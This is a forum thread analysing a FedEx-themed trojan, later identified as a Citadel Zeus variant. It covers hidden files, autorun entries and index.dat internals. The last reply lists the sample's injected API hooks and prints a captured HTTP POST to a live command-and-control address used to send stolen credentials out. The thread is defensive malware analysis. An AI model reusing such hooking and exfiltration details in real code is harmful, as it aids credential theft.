I can haz a rootkit

Don't worry, I installed it deliberately on a test machine. It's an interesting one though. An analysis of the installer courtesy of Anubis is available here, but is on further examination somewhat incomplete:

http://anubis.iseclab.org/?action=result&task_id=136f20ca3c0f15634d194bca2132761d3&format=txt

The installer claims (unconvincingly) to be a PDF file from FedEx, but has the screensaver extension, and is actually an EXE. On execution, it installs a randomly named EXE (in my case "ceez.exe") into one of a bunch of randomly named directories created in the user's Application Data dir. It also creates an autorun entry for the EXE, which is easily detected by Sysinternals Autoruns. This program runs briefly after boot (or if clicked on), and accesses a bunch of files related to MRUs and possibly stored IE passwords. Judging from my router's logs, it also makes connection attempts to an IP address somewhere in Russia. Yay.

(Then it goes and deletes itself. Double yay.)

Anyway, ceez.exe doesn't appear to continue running, though there's no being sure. The file is fully visible, and detectable as a packed and encrypted trojan by many AVs, so you might think removing it and its autorun entry is all you have to do...

Well, no. This is where things get interesting.

When the ceez.exe file is deleted, it doesn't come back. And GMER detects no funny business, at first. But:

- There's a file called Win1970.Conf.Collection.sys in the user's Temporary Internet Files folder. It can be seen from a Linux live CD, or from GMER's file browser, but is never visible from Windows Explorer. And it's actually (apparently!) an ASCII text file, containing this text:

Code:

[7B2]
7B2=41321

- There's also a file "desktop.ini" and a "Content.IE5" directory, containing more randomly named directories with more desktop.ini files. All of these are completely invisble from Explorer - not hidden or system files, but undetectable no matter what options are set.

- Finally, there's a desktop.ini file in Application Data, along with another hidden file - not true-invisible, just normal hidden. This one is called App4870.ConfCollection.bin, and guess what it contains?

Code:

[7B2]
7B2=41321

The MBR checksums as normal in a Linux rescue environment, but there's clearly something else going on. It is extremely odd IMO that GMER sees these hidden files, but (with default scan settings anyway) mentions no unusual drivers loaded, or such. Makes me wonder what's going on.

Anyway, if anyone wants to examine this, I can send a sample your way. Just remember to exercise caution, not hold me liable for damage, etc.

I will post more information on this as I find it (or figure it out).

 

On a related note, check out the stuff associated with the rogue IP:

http://urlquery.net/report.php?id=997588

Edit: also, GMER's file scan reports "no system modification" even though its file browser can easily see at least some of the hidden files. Bizarre. Let me check again with the live CD.

Edit 2: Also there's an invisible index.dat file in the Content.IE5 dir. It's binary, 32K in size, not sure what's actually in it...

Edit 3: And there's another file, "C:\Windows\Win7745.Settings Collection", again containing the mysterious ASCII text:

Code:

[7B2]
7B2=41321

 

Hold on, some of these files are related to JV16 Powertools, which I was goofing around with on the test box... Serves me right.

I will run further tests with a clean install, duh.

Edit: okay, this is interesting.

The FedEx malware appears to be very simple. It just runs once when you boot up, and sends your passwords and stuff to the Russian IP.

OTOH, there looks to be some monkey business going on with JV16 Powertools Lite. It's what was creating the strangely named text files that only GMER can see. Not sure what's going on there.

Sorry for the distraction, folks. Carry on.

 

Interesting tests.

 

Thats why i like GMER

 

The Content.IE5 directory and the randomly named subfolders contained in it have been there since Win98. It's name, Content.IE5 is a holdover that names the original source, Internet Explorer 5. They were hidden back on 98 too, but not to the same degree. On 98, you could see the contents of the folder by using "explore". I don't remember offhand if that worked on Win 2000. On XP, they're hidden from "explore" as well. On XP, they're all visible in explorer replacements like XYplorer.

The index.dat files are also from the early versions of IE and have been there since the 98 days. They're locked (in use) by explorer and Internet Explorer and can't be deleted while Windows is running. According to MS, they're supposed to improve performance. The only use I see for them is storing usage tracks, like a list of all the sites you've visited with Internet Explorer. None of the internet explorer settings affect them or their contents. They remain after you delete cookies, history, cache, etc. The average user isn't aware of these files. By comparing the contents of index.dat files to the user-deletable history, it's easy to tell when a user has tried to hide part of their activities. IMO, it's clear who these files were intended to benefit.

On the older systems, Index.dat suite was able to display their contents and could create a batch file that deleted them on reboot. A lot of people were under the impression that the batch file didn't work as the files were still there the next time they looked. Windows recreates then on each reboot, minus the original usage tracks they contained.

A partial solution to the index.dat files would be moving the temp, temporary internet files, and others to a ramdrive where they'll be deleted on each reboot. This worked on the older versions of Windows. No idea if it does on Vista and newer.

 

Once this is unpacked, it's quite clear that this is Citadel Zeus variant. It contains the string "Coded by BRIAN KREBS for personal use only. I love my job & wife." and also has video capture + extended credential stealing ability that the Citadel team added.

Code:

Typical injected process hooks:

ntdll.dll-->NtCreateThread
ntdll.dll-->LdrLoadDll
kernel32.dll-->GetFileAttributesExW
kernel32.dll-->ExitProcess
advapi32.dll-->CreateProcessAsUserW
advapi32.dll-->CreateProcessAsUserA
user32.dll-->ReleaseDC
user32.dll-->GetDC
user32.dll-->TranslateMessage
user32.dll-->GetWindowDC
user32.dll-->GetMessageW
user32.dll-->PeekMessageW
user32.dll-->GetCapture
user32.dll-->RegisterClassW
user32.dll-->RegisterClassExW
user32.dll-->OpenInputDesktop
user32.dll-->SwitchDesktop
user32.dll-->DefDlgProcW
user32.dll-->GetMessageA
user32.dll-->RegisterClassExA
user32.dll-->DefWindowProcW
user32.dll-->BeginPaint
user32.dll-->EndPaint
user32.dll-->GetCursorPos
user32.dll-->GetMessagePos
user32.dll-->CallWindowProcW
user32.dll-->PeekMessageA
user32.dll-->GetUpdateRect
user32.dll-->CallWindowProcA
user32.dll-->DefWindowProcA
user32.dll-->SetCapture
user32.dll-->ReleaseCapture
user32.dll-->GetDCEx
user32.dll-->RegisterClassA
user32.dll-->GetUpdateRgn
user32.dll-->DefFrameProcW
user32.dll-->DefMDIChildProcW
user32.dll-->GetClipboardData
user32.dll-->DefDlgProcA
user32.dll-->DefFrameProcA
user32.dll-->DefMDIChildProcA
user32.dll-->SetCursorPos
wininet.dll-->InternetReadFile
wininet.dll-->HttpQueryInfoA
wininet.dll-->InternetCloseHandle
wininet.dll-->InternetQueryDataAvailable
wininet.dll-->HttpOpenRequestA
wininet.dll-->HttpSendRequestW
wininet.dll-->HttpOpenRequestW
wininet.dll-->HttpSendRequestA
wininet.dll-->InternetReadFileExA
wininet.dll-->InternetSetFilePointer
wininet.dll-->HttpSendRequestExA
wininet.dll-->HttpSendRequestExW
wininet.dll-->HttpEndRequestA
wininet.dll-->HttpEndRequestW
ws2_32.dll-->getaddrinfo
ws2_32.dll-->closesocket
ws2_32.dll-->send
ws2_32.dll-->gethostbyname
ws2_32.dll-->WSASend
crypt32.dll-->PFXImportCertStore

POST /caca/flogin.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: 91.243.115.83
Content-Length: 118
Connection: Keep-Alive
Cache-Control: no-cache

Report for unpacked binary: http://anubis.iseclab.org/?action=result&task_id=13a5e7d971481f5f4997ca9d6595f0d4a&format=txt

 

Thanks, interesting that.